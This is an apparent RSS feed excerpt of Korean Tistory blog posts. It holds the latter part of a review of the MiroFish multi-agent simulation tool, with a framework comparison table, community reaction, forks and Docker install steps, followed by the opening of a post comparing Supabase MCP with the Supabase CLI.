&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 9: 경쟁 프레임워크 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. 경쟁 프레임워크 비교&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish가 속한 멀티 에이전트 시뮬레이션 생태계는 지금 꽤 붐비다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;프레임워크&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;초점&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;GitHub 스타&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;학술 검증&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CAMEL-AI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;에이전트 스케일링 법칙, 역할극&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;16.4K&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;NeurIPS 2023&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Generative Agents&lt;/b&gt; (Stanford)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;가상 타운 시뮬레이션 (25 에이전트)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;~21K&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;UIST 2023 (Best Paper)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MetaGPT&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;소프트웨어 개발 팀 시뮬레이션&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;65K+&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;ICLR 2024 (Oral)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AutoGen&lt;/b&gt; (Microsoft)*&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;대화형 멀티 에이전트&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;55K+&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;COLM 2024&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;CrewAI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;프로덕션 워크플로우&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;46K+&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AgentSociety&lt;/b&gt; (칭화대)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;사회 시뮬레이션 (감정/인지)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;arXiv 2025/02&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OWL&lt;/b&gt; (CAMEL-AI)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;멀티 에이전트 협업, GAIA 벤치마크 오픈소스 1위&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;19.2K&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;NeurIPS 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;OpenAI Agents SDK&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;프로덕션 에이전트 (Handoff 기반)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Google ADK&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;A2A 네이티브 멀티모달 에이전트&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;-&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f0f7ff;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MiroFish&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;집단 지능 예측 (OASIS 기반)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;~32.7K&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #b3d9ff;&quot;&gt;없음 (기반 OASIS는 검증됨)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: 5px;&quot; data-ke-size=&quot;size14&quot;&gt;* Microsoft는 2026년 2월 AutoGen과 Semantic Kernel을 통합한 &lt;b&gt;Microsoft Agent Framework&lt;/b&gt; RC 1.0을 발표했다. 엔터프라이즈 에이전트 시장의 통합 움직임을 보여주는 신호다.&lt;/p&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: 5px;&quot; data-ke-size=&quot;size14&quot;&gt;스타 수는 2026년 3월 18일 GitHub API 기준. OpenAI Agents SDK와 Google ADK는 공식 SDK 내 포함으로 별도 스타 수 미집계.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;카테고리를 구분해서 봐야 한다&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;위 표의 프레임워크들은 크게 두 카테고리로 나뉜다:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;작업 자동화 프레임워크&lt;/b&gt; (MetaGPT, AutoGen, CrewAI, OpenAI Agents SDK, Google ADK): 에이전트가 실제 작업을 수행한다. 코드를 짜고, API를 호출하고, 워크플로우를 실행한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;사회 시뮬레이션 엔진&lt;/b&gt; (OASIS, Generative Agents, AgentSociety, MiroFish): 에이전트가 사회적 역학을 재현한다. 대화하고, 논쟁하고, 여론을 형성한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish는 후자에 속하면서, &quot;문서 &amp;rarr; 에이전트 자동 생성 &amp;rarr; 듀얼 플랫폼 시뮬레이션 &amp;rarr; God's Eye View 변수 주입&quot;이라는 &lt;b&gt;End-to-End 파이프라인&lt;/b&gt;을 갖춘 유일한 도구다. 같은 CAMEL-AI 생태계에서 나온 &lt;b&gt;OWL&lt;/b&gt;(작업 자동화 1위)과 &lt;b&gt;MiroFish&lt;/b&gt;(사회 시뮬레이션)가 시너지를 이루는 구조도 주목할 만하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 10: 커뮤니티 반응 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 커뮤니티 반응과 파생 프로젝트&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;글로벌 반응&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 7일 GitHub 글로벌 트렌딩 1위를 달성한 이후, 출시 며칠 만에 18,000 스타를 돌파한 뒤 현재 32,700+까지 성장했다. OpenAI, Google, Microsoft의 리포지토리를 제치고 1위를 차지했다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;중국 미디어(36kr, 타이미디어, 시나, 펑황왕, 왕이 등)에서 대규모 보도&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;영어권 미디어(Medium Agent Native, DEV Community, ByteIota, Apidog, NewsBytesApp 등)에서도 확산&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;X(트위터)에서 Brian Roemmele 등 테크 커뮤니티 인플루언서들이 확산. Brian Roemmele는 &quot;Zero-Human Company&quot;라는 비전 아래 실제 비즈니스 예측에 MiroFish를 도입, 50만 에이전트 시뮬레이션을 실행했다고 보고&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://x.com/i/communities/2029246719335268861&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;X Community&lt;/a&gt;가 생성되어 초기 바이럴 이후 지속적인 커뮤니티 형성이 진행 중&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Substack에서 &quot;MiroFish, or the Mirror That Thinks&quot;라는 비평 에세이가 발표되어, 비결정론적 LLM 시뮬레이션의 근본적 모순(같은 시드로 같은 결과가 나오지 않는 문제)을 지적 &amp;mdash; 균형 잡힌 비판적 시각도 형성 중&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;활발한 개발 동향&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;초기 바이럴에 그치지 않고 실질적인 기능 확장이 이어지고 있다 (2026년 3월 기준 122개 오픈 이슈):&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Mem0 메모리 프로바이더&lt;/b&gt; (#227): Zep Cloud 외에 대체 메모리 제공자 지원&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;OpenRouter 폴백&lt;/b&gt; (#222): 다양한 LLM 백엔드 간 자동 전환&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Neo4j/Graphiti 그래프 지원&lt;/b&gt; (#235): 지식 그래프 백엔드 다변화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;보안 강화&lt;/b&gt; (#228-232): XSS 방지, path traversal 차단, Docker 보안, traceback 노출 제거&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;한국어 포크: MiroFish-Ko&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;ByeongkiJeong&lt;/b&gt;이 만든 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/ByeongkiJeong/MiroFish-Ko&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MiroFish-Ko&lt;/a&gt;는 MiroFish의 비공식 한국어 버전이다. 한국어 UI와 문서를 제공하여, 한국어권 사용자가 더 쉽게 접근할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;오프라인 포크: MiroFish-Offline&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/nikmcfly/MiroFish-Offline&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MiroFish-Offline&lt;/a&gt;(~780 스타, ~180 포크 (2026년 3월 20일 기준, 급속 성장 중))은 클라우드 API 없이 완전히 로컬에서 실행되는 포크다. Zep Cloud 대신 &lt;b&gt;Neo4j&lt;/b&gt;를, LLM API 대신 &lt;b&gt;Ollama&lt;/b&gt;를 사용한다. 영어 UI를 제공하여 글로벌 사용자가 로컬 환경에서 쉽게 시작할 수 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 11: 설치 및 시작하기 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;11. 설치 및 시작하기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;필수 요구사항&lt;/h3&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Python 3.11-3.12&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Node.js 18+&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Docker &amp;amp; Docker Compose&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;OpenAI SDK 호환 LLM API 키 (Alibaba DashScope의 Qwen-Plus 권장)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;Zep Cloud API 키 (에이전트 장기 기억용)&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;환경 변수 설정&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# .env 파일 설정
LLM_API_KEY=your_api_key_here
LLM_BASE_URL=https://dashscope.aliyuncs.com/compatible-mode/v1
LLM_MODEL_NAME=qwen-plus
ZEP_API_KEY=your_zep_api_key_here&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Docker로 시작하기&lt;/h3&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 20px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;bash&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 리포지토리 클론
git clone https://github.com/666ghj/MiroFish.git
cd MiroFish

# Docker Compose로 실행
docker-compose up -d&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;비용 관리 팁&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;첫 시뮬레이션은 &lt;b&gt;40라운드 미만&lt;/b&gt;으로 시작한다 (README 공식 권장)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;에이전트 수를 200~500으로 설정해 비용을 관리한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;비용이 부담되면 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/nikmcfly/MiroFish-Offline&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MiroFish-Offline&lt;/a&gt; 포크를 사용해 Ollama로 로컬 실행할 수 있다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 12: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;12. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish는 &quot;2026년에 혼자서 이런 걸 만들 수 있다&quot;는 걸 증명한 프로젝트다. 학술적으로 검증된 CAMEL-AI(NeurIPS 2023)와 OASIS(arXiv 2024) 기반 위에, 직관적인 UX와 5단계 파이프라인을 얹어 &quot;누구나 집단 지능 시뮬레이션을 돌릴 수 있는&quot; 도구를 만들었다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;핵심 요약&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;무엇인가:&lt;/b&gt; 문서에서 수천 명의 가상 인간을 생성하고, 듀얼 소셜 플랫폼에서 시뮬레이션하여 시나리오를 탐색하는 집단 지능 엔진&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;기술 기반:&lt;/b&gt; CAMEL-AI(NeurIPS 2023) &amp;rarr; OASIS(100만 에이전트) &amp;rarr; MiroFish&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;차별화:&lt;/b&gt; God's Eye View(변수 주입), 듀얼 플랫폼 시뮬레이션, 에이전트와의 1:1 대화&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;주의:&lt;/b&gt; 예측 정확도 벤치마크 미공개, LLM 편향 유전, API 비용, 초기 버전(v0.1.2)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;의미:&lt;/b&gt; &quot;슈퍼 개인&quot; 시대의 상징 &amp;mdash; 00후 대학생이 10일 만에, 학술 오픈소스 위에 서서 세계적 도구를 만들었다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MiroFish가 &quot;정확한 예측기&quot;인지는 아직 증명되지 않았다. 하지만 &lt;b&gt;&quot;혼자서는 생각 못 했을 시나리오를 표면화해주는 도구&quot;&lt;/b&gt;로서의 가치는 이미 증명 중이다. 정확한 답을 기대하기보다, 놓쳤을 가능성을 건져내는 도구로 쓰는 게 지금 단계에서는 맞는 방식이다.&lt;/p&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;참고 자료&lt;/b&gt;&lt;br /&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;MiroFish GitHub: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/666ghj/MiroFish&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;github.com/666ghj/MiroFish&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;라이브 데모: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://666ghj.github.io/mirofish-demo/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;666ghj.github.io/mirofish-demo&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;한국어 포크: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/ByeongkiJeong/MiroFish-Ko&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ByeongkiJeong/MiroFish-Ko&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;OASIS 논문: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2411.11581&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2411.11581&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;CAMEL-AI 논문: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://arxiv.org/abs/2303.17760&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;arXiv:2303.17760&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;홍루몽 데모: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.bilibili.com/video/BV1cPk3BBExq/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Bilibili&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;36kr 기사: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://eu.36kr.com/en/p/3713983582662788&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;00후 청년 개발자의 10일 AI 프로그래밍&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;천톈차오 슈퍼 개인 에세이: &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://www.eet-china.com/mp/a464677.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;관리학의 황혼이 왔다 (원문)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>AI/Rag</category>
      <category>CAMEL-AI</category>
      <category>GitHub트렌딩</category>
      <category>MiroFish</category>
      <category>oasis</category>
      <category>멀티에이전트</category>
      <category>미로피쉬</category>
      <category>바이브코딩</category>
      <category>슈퍼개인</category>
      <category>집단지능</category>
      <category>천톈차오</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/552</guid>
      <comments>https://goddaehee.tistory.com/552#entry552comment</comments>
      <pubDate>Wed, 18 Mar 2026 18:30:31 +0900</pubDate>
    </item>
    <item>
      <title>개발자를 위한 MCP 추천(5-2) - Supabase CLI와 MCP 비교 분석 해보기</title>
      <link>https://goddaehee.tistory.com/551</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;&lt;!-- ✦ 2026년 시리즈 도입부 ✦ --&gt;
&lt;div style=&quot;background: linear-gradient(135deg, #1a3a52 0%, #0066cc 100%); padding: 28px 30px; border-radius: 16px; margin-bottom: 10px; color: white;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-size: 12px; opacity: 0.75; letter-spacing: 1.5px; font-weight: 600; text-transform: uppercase;&quot; data-ke-size=&quot;size16&quot;&gt;2026년 3월 &amp;middot; 개발자를 위한 MCP 추천 시리즈&lt;/p&gt;
&lt;h2 style=&quot;margin: 0 0 14px 0; font-size: 22px; font-weight: 800; line-height: 1.4; color: white;&quot; data-ke-size=&quot;size26&quot;&gt;Supabase MCP vs supabase CLI &amp;mdash; AI가 DB를 직접 다루면 무엇이 달라지나&lt;/h2&gt;
&lt;p style=&quot;margin: 0; font-size: 15px; line-height: 1.8; opacity: 0.92;&quot; data-ke-size=&quot;size16&quot;&gt;32개 MCP Tool vs 20+ CLI 명령어 &amp;mdash; 로컬 개발 스택부터 프로덕션 DB 관리까지,&lt;br /&gt;어느 쪽이 더 나은지 시나리오로 비교한다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f7ff; border: 1px solid #cce5ff; border-left: 4px solid #0066cc; padding: 20px 24px; border-radius: 0 12px 12px 0; margin-bottom: 10px; font-size: 15px; line-height: 1.9;&quot;&gt;&lt;b&gt;이 글을 쓰게 된 이유&lt;/b&gt;&lt;br /&gt;지난번 &lt;a href=&quot;https://goddaehee.tistory.com/549&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;Supabase MCP 설치 및 활용 가이드&lt;/b&gt;&lt;/a&gt;를 작성하면서, Supabase가 제공하는 또 다른 공식 도구인 &lt;b&gt;supabase CLI&lt;/b&gt;와의 경계가 궁금해졌다. MCP는 AI 에이전트로 원격 DB를 조작하는 도구고, CLI는 로컬 개발 환경과 마이그레이션 파이프라인을 담당한다.&lt;br /&gt;둘은 겹치는 기능도 있지만 역할이 충분히 다르다. 구체적으로 어디서 겹치고 어디서 갈라지는지, 시나리오별로 어느 쪽을 선택해야 하는지 정리해봤다.&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif;&quot;&gt;안녕하세요! 갓대희입니다.&lt;/span&gt;&lt;/p&gt;
